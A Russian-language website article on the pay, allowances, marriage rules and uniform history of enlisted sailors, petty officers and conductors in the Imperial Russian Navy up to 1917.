Денежное содержание нижних чинов и унтер-офицеров состояло из следующих видов: жалованья, морского довольствия и добавочного содержания, начисляемого за специальные звания или за исполнение определенных обязанностей. Также существовали прибавки к жалованью для награжденных Знаком отличия военного ордена Георгиевским крестом) или Георгиевской медалью. Жалование  существовало двух разрядов  - 1-го (основное)  - для служащих на Балтийском и черноморском флотах и 2-го (усиленное) – для чинов  Каспийской и Сибирской флотилии. Матрос 2-й статьи получал по 1-му разряду 9 рублей в год, по 2-му 13 руб. 80 коп. Унтер-офицер получал соответственно 24 и 36 руб. Морское довольствие для матроса составляло 60 копеек в месяц во внутреннем плавании (90 в заграничном), для унтер-офицера  - 3 рубля 30 копеек  и 4 рубля 95 копеек соответственно. Добавочное содержание в зависимости от специальности составляло от 1рубля 80 копеек до 180 рублей в год. Самыми «богатыми» из нижних чинов специальных званий были машинисты, окончившие по первому разряду курс машинной школы по классу машинных унтер-офицеров самостоятельного управления. В связи с ростом  инфляции во время Первой мировой войны к маю 1917 года жалование нижних чинов составляло 15-50 рублей. При экономном расходовании денег нижний чин после отбытия срочной службы мог вернуться домой довольно состоятельным человеком.

Нижним чинам действительной службы запрещалось вступать в брак, за исключением вдовцов, имеющих от прежних браков детей, оставшихся без опекунства. Только в Приамурском крае командир портов Восточного океана имел право давать разрешение на браки нижним чинам, а женатые могли выписывать семьи к месту службы. Сверхсрочнослужащие могли вступать в брак по разрешению начальства

Форма одежды нижних чинов, существовавшая к началу Первой мировой войны и во многом сохранившаяся до настоящего времени, начала формироваться с середины XIX века. В 1854 году были введены бушлаты (брушлаты по тогдашней терминологии). 7 января 1863 года была введено подразделение формы одежды на парадную, обыкновенную и рабочую, а также на летнюю и зимнюю, береговую  и судовую. Береговая форма нижних чинов состояла из темно-зеленого мундира, темно-зеленых и белых брюк, фуражки, темно-синей шинели с ремнем и вязаной фуфайки. Во время службы на кораблях матросы носили синюю и белую рубахи с синим воротником, темно-зеленые и белые брюки, фуражку и рабочее платье. В 1872 году для нижних чинов ввели рубаху с синим воротником (с двумя белыми полосами), а для белых рубах дополнительно установили синие обшлага с одной белой полосой. В том же году в русском флоте появился тельник – тельняшка (от современной она отличалась поле широкими полосами). Тогда же появилась и бескозырка, на околыше которой прикреплялась черная шелковая лента с названием корабля или команды.

21 февраля 1881 года был изменен покрой синих фланелевых и белых полотняных матросских рубах. На синих воротниках и обшлагах белых рубах появились три белые полоски, сохранившиеся до настоящего времени. В 1891 году на левый рукав формы нижних чинов специалистов стали нашивать знаки специальностей (штаты), вышитые красной нитью: штурвал у рулевых, два беседочных узла у марсовых, два флага – сигнальщикам и другие. Позже введены аналогичные по рисунку, но изготовленные из металла знаки, размещавшиеся на воротниках мундиров и пальто кондукторов флота.

Кондукторы получили особое обмундирование. Их форма во многом напоминала офицерскую. Кондукторы гвардейского экипажа носили белый кант на воротниках мундиров и пальто, морские артиллеристы и инженеры-механики носили красный кант. С 1907 года для кондукторов ввели нарукавные шевроны по годам службы. На погонах кондукторов нашивался широкий продольный галун. В 1908 году для нижних чинов и унтер-офицеров была установлена бляха к ремню желтого метала с эмблемой Морскою ведомства – двуглавым орлом, наложенным на перекрещенные якоря

Таким образом, государство стремилось создать для нижних чинов и офицеров Императорского флота максимум благоприятных условий для прохождения службы и старалось обеспечить их высокую социальную защищенность.

Категория: Прапорщики | Добавил: oleninanatoly (01.10.2017)
Просмотров: 575 | Теги: ОГП Тема №31, История и традиции службы, в русской армии, прохождения службы | Рейтинг: 0.0/0
Всего комментариев: 0